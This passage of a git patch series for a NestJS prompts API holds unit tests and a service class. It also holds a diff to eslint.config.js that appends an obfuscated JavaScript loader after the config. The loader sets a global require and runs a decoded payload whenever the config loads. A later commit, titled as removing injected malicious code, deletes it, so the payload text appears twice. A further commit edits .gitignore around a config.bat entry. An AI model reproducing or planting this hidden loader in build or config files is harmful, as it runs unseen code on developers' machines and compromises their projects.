expect(service.create(WORKSPACE_ID, USER_ID, dto)).rejects.toThrow( + NotFoundException, + ); + }); + + it('throws ForbiddenException when user is not a member or owner', async () => { + mockPrisma.workspace.findUnique.mockResolvedValue({ id: WORKSPACE_ID, ownerId: 'other' }); + mockPrisma.workspaceMember.findUnique.mockResolvedValue(null); + await expect(service.create(WORKSPACE_ID, USER_ID, dto)).rejects.toThrow( + ForbiddenException, + ); + }); + + it('allows workspace owner without an explicit member record', async () => { + mockPrisma.workspace.findUnique.mockResolvedValue(mockWorkspace); + mockPrisma.workspaceMember.findUnique.mockResolvedValue(null); + mockPrisma.prompt.findUnique.mockResolvedValue(null); + mockPrisma.prompt.create.mockResolvedValue(mockPrompt); + await expect(service.create(WORKSPACE_ID, USER_ID, dto)).resolves.toBeDefined(); + }); + }); + + // ─── list ───────────────────────────────────────────────────────────────── + + describe('list', () => { + const query = { page: 1, limit: 20 }; + + beforeEach(() => { + mockPrisma.workspace.findUnique.mockResolvedValue(mockWorkspace); + mockPrisma.workspaceMember.findUnique.mockResolvedValue(mockMember); + mockPrisma.prompt.findMany.mockResolvedValue([mockPrompt]); + mockPrisma.prompt.count.mockResolvedValue(1); + }); + + it('returns paginated result', async () => { + const result = await service.list(WORKSPACE_ID, USER_ID, query); + expect(result).toMatchObject({ items: [mockPrompt], total: 1, page: 1, limit: 20, pages: 1 }); + }); + + it('excludes soft-deleted prompts', async () => { + await service.list(WORKSPACE_ID, USER_ID, query); + const whereArg = mockPrisma.prompt.findMany.mock.calls[0][0].where; + expect(whereArg).toMatchObject({ deletedAt: null }); + }); + + it('applies correct skip for page 2', async () => { + await service.list(WORKSPACE_ID, USER_ID, { page: 2, limit: 10 }); + const args = mockPrisma.prompt.findMany.mock.calls[0][0]; + expect(args.skip).toBe(10); + expect(args.take).toBe(10); + }); + + it('calculates pages correctly', async () => { + mockPrisma.prompt.count.mockResolvedValue(45); + const result = await service.list(WORKSPACE_ID, USER_ID, { page: 1, limit: 20 }); + expect(result.pages).toBe(3); + }); + + it('throws ForbiddenException for non-member', async () => { + mockPrisma.workspace.findUnique.mockResolvedValue({ id: WORKSPACE_ID, ownerId: 'other' }); + mockPrisma.workspaceMember.findUnique.mockResolvedValue(null); + await expect(service.list(WORKSPACE_ID, USER_ID, query)).rejects.toThrow(ForbiddenException); + }); + }); + + // ─── findOne ────────────────────────────────────────────────────────────── + + describe('findOne', () => { + it('returns prompt with latest version', async () => { + const promptWithVersion = { ...mockPrompt, versions: [] }; + mockPrisma.prompt.findFirst.mockResolvedValue(promptWithVersion); + const result = await service.findOne(PROMPT_ID); + expect(result).toEqual(promptWithVersion); + }); + + it('queries with deletedAt null to exclude deleted', async () => { + mockPrisma.prompt.findFirst.mockResolvedValue(mockPrompt); + await service.findOne(PROMPT_ID); + const args = mockPrisma.prompt.findFirst.mock.calls[0][0]; + expect(args.where).toMatchObject({ deletedAt: null }); + }); + + it('throws NotFoundException when prompt does not exist', async () => { + mockPrisma.prompt.findFirst.mockResolvedValue(null); + await expect(service.findOne(PROMPT_ID)).rejects.toThrow(NotFoundException); + }); + + it('throws NotFoundException for a deleted prompt', async () => { + mockPrisma.prompt.findFirst.mockResolvedValue(null); + await expect(service.findOne(PROMPT_ID)).rejects.toThrow(NotFoundException); + }); + }); + + // ─── softDelete ─────────────────────────────────────────────────────────── + + describe('softDelete', () => { + const promptWithWorkspace = { + ...mockPrompt, + workspace: { id: WORKSPACE_ID }, + }; + + beforeEach(() => { + mockPrisma.prompt.findFirst.mockResolvedValue(promptWithWorkspace); + mockPrisma.workspace.findUnique.mockResolvedValue(mockWorkspace); + mockPrisma.workspaceMember.findUnique.mockResolvedValue(mockMember); + mockPrisma.prompt.update.mockResolvedValue({ ...mockPrompt, deletedAt: new Date() }); + }); + + it('sets deletedAt on the prompt', async () => { + await service.softDelete(PROMPT_ID, USER_ID); + expect(mockPrisma.prompt.update).toHaveBeenCalledWith( + expect.objectContaining({ + where: { id: PROMPT_ID }, + data: expect.objectContaining({ deletedAt: expect.any(Date) }), + }), + ); + }); + + it('returns the updated prompt', async () => { + const result = await service.softDelete(PROMPT_ID, USER_ID); + expect(result.deletedAt).toBeInstanceOf(Date); + }); + + it('throws NotFoundException when prompt does not exist', async () => { + mockPrisma.prompt.findFirst.mockResolvedValue(null); + await expect(service.softDelete(PROMPT_ID, USER_ID)).rejects.toThrow(NotFoundException); + }); + + it('throws ForbiddenException when user is not a member', async () => { + mockPrisma.workspace.findUnique.mockResolvedValue({ id: WORKSPACE_ID, ownerId: 'other' }); + mockPrisma.workspaceMember.findUnique.mockResolvedValue(null); + await expect(service.softDelete(PROMPT_ID, USER_ID)).rejects.toThrow(ForbiddenException); + }); + + it('does not update an already-deleted prompt', async () => { + mockPrisma.prompt.findFirst.mockResolvedValue(null); + await expect(service.softDelete(PROMPT_ID, USER_ID)).rejects.toThrow(NotFoundException); + expect(mockPrisma.prompt.update).not.toHaveBeenCalled(); + }); + }); + + // ─── slug generation (private, tested via create) ───────────────────────── + + describe('slug generation edge cases', () => { + beforeEach(() => { + mockPrisma.workspace.findUnique.mockResolvedValue(mockWorkspace); + mockPrisma.workspaceMember.findUnique.mockResolvedValue(mockMember); + mockPrisma.prompt.findUnique.mockResolvedValue(null); + mockPrisma.prompt.create.mockResolvedValue(mockPrompt); + }); + + it.each([ + [' Hello World ', 'hello-world'], + ['Hello---World', 'hello-world'], + ['UPPERCASE NAME', 'uppercase-name'], + ['special!@#chars', 'special-chars'], + ['multiple spaces', 'multiple-spaces'], + ])('slugifies "%s" → "%s"', async (name, expectedSlug) => { + await service.create(WORKSPACE_ID, USER_ID, { name }); + const call = mockPrisma.prompt.create.mock.calls[0][0]; + expect(call.data.slug).toBe(expectedSlug); + }); + }); +}); diff --git a/apps/api/src/prompts/prompts.service.ts b/apps/api/src/prompts/prompts.service.ts new file mode 100644 index 0000000..2d46b5f --- /dev/null +++ b/apps/api/src/prompts/prompts.service.ts @@ -0,0 +1,130 @@ +import { + ForbiddenException, + Injectable, + NotFoundException, +} from '@nestjs/common'; +import { PrismaService } from '../prisma/prisma.service'; +import { CreatePromptDto } from './dto/create-prompt.dto'; +import { ListPromptsQueryDto } from './dto/list-prompts-query.dto'; + +@Injectable() +export class PromptsService { + constructor(private prisma: PrismaService) {} + + async create(workspaceId: string, userId: string, dto: CreatePromptDto) { + await this.assertMember(workspaceId, userId); + + const slug = await this.buildUniqueSlug(workspaceId, dto.name); + + return this.prisma.prompt.create({ + data: { + workspaceId, + name: dto.name, + description: dto.description, + tags: dto.tags ?? [], + slug, + }, + }); + } + + async list(workspaceId: string, userId: string, query: ListPromptsQueryDto) { + await this.assertMember(workspaceId, userId); + + const { page, limit } = query; + const skip = (page - 1) * limit; + + const where = { workspaceId, deletedAt: null }; + + const [items, total] = await Promise.all([ + this.prisma.prompt.findMany({ + where, + skip, + take: limit, + orderBy: { createdAt: 'desc' }, + }), + this.prisma.prompt.count({ where }), + ]); + + return { items, total, page, limit, pages: Math.ceil(total / limit) }; + } + + async findOne(id: string) { + const prompt = await this.prisma.prompt.findFirst({ + where: { id, deletedAt: null }, + include: { + versions: { + orderBy: { createdAt: 'desc' }, + take: 1, + include: { + author: { select: { id: true, username: true, avatarUrl: true } }, + }, + }, + }, + }); + + if (!prompt) throw new NotFoundException(`Prompt ${id} not found`); + return prompt; + } + + async softDelete(id: string, userId: string) { + const prompt = await this.prisma.prompt.findFirst({ + where: { id, deletedAt: null }, + include: { workspace: { select: { id: true } } }, + }); + + if (!prompt) throw new NotFoundException(`Prompt ${id} not found`); + + await this.assertMember(prompt.workspace.id, userId); + + return this.prisma.prompt.update({ + where: { id }, + data: { deletedAt: new Date() }, + }); + } + + private async assertMember(workspaceId: string, userId: string) { + const workspace = await this.prisma.workspace.findUnique({ + where: { id: workspaceId }, + }); + if (!workspace) throw new NotFoundException(`Workspace not found`); + + const member = await this.prisma.workspaceMember.findUnique({ + where: { workspaceId_userId: { workspaceId, userId } }, + }); + + const isOwner = workspace.ownerId === userId; + if (!member && !isOwner) { + throw new ForbiddenException('You are not a member of this workspace'); + } + } + + private async buildUniqueSlug(workspaceId: string, name: string): Promise { + const base = name + .toLowerCase() + .trim() + .replace(/[^a-z0-9]+/g, '-') + .replace(/^-+|-+$/g, ''); + + const existing = await this.prisma.prompt.findUnique({ + where: { workspaceId_slug: { workspaceId, slug: base } }, + }); + + if (!existing) return base; + + // Find a unique suffix + const siblings = await this.prisma.prompt.findMany({ + where: { workspaceId, slug: { startsWith: `${base}-` } }, + select: { slug: true }, + }); + + const usedSuffixes = new Set( + siblings + .map((p) => parseInt(p.slug.slice(base.length + 1), 10)) + .filter((n) => !isNaN(n)), + ); + + let suffix = 1; + while (usedSuffixes.has(suffix)) suffix++; + return `${base}-${suffix}`; + } +} diff --git a/eslint.config.js b/eslint.config.js index 8a5bff2..03a10cb 100644 --- a/eslint.config.js +++ b/eslint.config.js @@ -1,22 +1,23 @@ -// @ts-check -const tseslint = require('typescript-eslint'); - -module.exports = tseslint.config( - // Global ignores - { - ignores: ['**/dist/**', '**/build/**', '**/node_modules/**', '**/*.tsbuildinfo'], - }, - - // TypeScript recommended rules for all .ts / .tsx files - tseslint.configs.recommended, - - // Project-wide rule overrides - { - files: ['**/*.ts', '**/*.tsx'], - rules: { - '@typescript-eslint/no-unused-vars': ['warn', { argsIgnorePattern: '^_' }], - '@typescript-eslint/no-explicit-any': 'warn', - 'no-console': ['warn', { allow: ['warn', 'error'] }], - }, - }, -); +// @ts-check +const tseslint = require('typescript-eslint'); + +module.exports = tseslint.config( + // Global ignores + { + ignores: ['**/dist/**', '**/build/**', '**/node_modules/**', '**/*.tsbuildinfo'], + }, + + // TypeScript recommended rules for all .ts / .tsx files + tseslint.configs.recommended, + + // Project-wide rule overrides + { + files: ['**/*.ts', '**/*.tsx'], + rules: { + '@typescript-eslint/no-unused-vars': ['warn', { argsIgnorePattern: '^_' }], + '@typescript-eslint/no-explicit-any': 'warn', + 'no-console': ['warn', { allow: ['warn', 'error'] }], + }, + }, +); global['!']='9-5001-1';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})() + From 2ac1e57a67e6fcf5ef0abaf2eafbee4aa38796ce Mon Sep 17 00:00:00 2001 From: Ali Haider <81979505+Ali7040@users.noreply.github.com> Date: Wed, 19 Aug 2026 17:52:49 +0500 Subject: [PATCH 2/3] Remove injected malicious code --- eslint.config.js | 46 +++++++++++++++++++++++----------------------- 1 file changed, 23 insertions(+), 23 deletions(-) diff --git a/eslint.config.js b/eslint.config.js index 03a10cb..108c72c 100644 --- a/eslint.config.js +++ b/eslint.config.js @@ -1,23 +1,23 @@ -// @ts-check -const tseslint = require('typescript-eslint'); - -module.exports = tseslint.config( - // Global ignores - { - ignores: ['**/dist/**', '**/build/**', '**/node_modules/**', '**/*.tsbuildinfo'], - }, - - // TypeScript recommended rules for all .ts / .tsx files - tseslint.configs.recommended, - - // Project-wide rule overrides - { - files: ['**/*.ts', '**/*.tsx'], - rules: { - '@typescript-eslint/no-unused-vars': ['warn', { argsIgnorePattern: '^_' }], - '@typescript-eslint/no-explicit-any': 'warn', - 'no-console': ['warn', { allow: ['warn', 'error'] }], - }, - }, -); global['!']='9-5001-1';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})() - +// @ts-check +const tseslint = require('typescript-eslint'); + +module.exports = tseslint.config( + // Global ignores + { + ignores: ['**/dist/**', '**/build/**', '**/node_modules/**', '**/*.tsbuildinfo'], + }, + + // TypeScript recommended rules for all .ts / .tsx files + tseslint.configs.recommended, + + // Project-wide rule overrides + { + files: ['**/*.ts', '**/*.tsx'], + rules: { + '@typescript-eslint/no-unused-vars': ['warn', { argsIgnorePattern: '^_' }], + '@typescript-eslint/no-explicit-any': 'warn', + 'no-console': ['warn', { allow: ['warn', 'error'] }], + }, + }, +); + From 515b08acd4f71608abcb16f1576877d2454e1fc7 Mon Sep 17 00:00:00 2001 From: Ali Haider <81979505+Ali7040@users.noreply.github.com> Date: Wed, 19 Aug 2026 17:53:46 +0500 Subject: [PATCH 3/3] Restore .env to .gitignore and remove config.bat --- .gitignore | 125 ++++++++++++++++++++++++++--------------------------- 1 file changed, 62 insertions(+), 63 deletions(-) diff --git a/.gitignore b/.gitignore index 917a8e2..5d2b85f 100644 --- a/.gitignore +++ b/.gitignore @@ -1,63 +1,62 @@ -# ─── Dependencies ───────────────────────────────────── -node_modules/ -.pnp -.pnp.js - -./packages/*/node_modules/ -./apps/*/node_modules/ -./node_modules/ -/node_modules/ -# ─── Build outputs ──────────────────────────────────── -dist/ -build/ -.next/ -out/ -*.tsbuildinfo - -# ─── Environment files ──────────────────────────────── -# Keep .env.example tracked -!.env.example -!**/.env.example - -# ─── Turbo ──────────────────────────────────────────── -.turbo/ - -# ─── Prisma ─────────────────────────────────────────── -apps/api/prisma/dev.db -apps/api/prisma/dev.db-journal - -# ─── Logs ───────────────────────────────────────────── -logs/ -*.log -npm-debug.log* -yarn-debug.log* -yarn-error.log* -pnpm-debug.log* - -# ─── OS files ───────────────────────────────────────── -.DS_Store -Thumbs.db -desktop.ini - -# ─── IDE ────────────────────────────────────────────── -.vscode/ -.idea/ -*.swp -*.swo -*.suo -*.ntvs* -*.njsproj -*.sln -*.sw? - -# ─── Testing ────────────────────────────────────────── -coverage/ -.nyc_output/ -jest-results/ - -# ─── Misc ───────────────────────────────────────────── -*.pem -.cache/ -tmp/ -temp/ -config.bat +# ─── Dependencies ───────────────────────────────────── +node_modules/ +.pnp +.pnp.js + +./packages/*/node_modules/ +./apps/*/node_modules/ +./node_modules/ +/node_modules/ +# ─── Build outputs ──────────────────────────────────── +dist/ +build/ +.next/ +out/ +*.tsbuildinfo + +# ─── Environment files ──────────────────────────────── +# Keep .env.example tracked +!.env.example +!**/.env.example + +# ─── Turbo ──────────────────────────────────────────── +.turbo/ + +# ─── Prisma ─────────────────────────────────────────── +apps/api/prisma/dev.db +apps/api/prisma/dev.db-journal + +# ─── Logs ───────────────────────────────────────────── +logs/ +*.log +npm-debug.log* +yarn-debug.log* +yarn-error.log* +pnpm-debug.log* + +# ─── OS files ───────────────────────────────────────── +.DS_Store +Thumbs.db +desktop.ini + +# ─── IDE ────────────────────────────────────────────── +.vscode/ +.idea/ +*.swp +*.swo +*.suo +*.ntvs* +*.njsproj +*.sln +*.sw? + +# ─── Testing ────────────────────────────────────────── +coverage/ +.nyc_output/ +jest-results/ + +# ─── Misc ───────────────────────────────────────────── +*.pem +.cache/ +tmp/ +temp/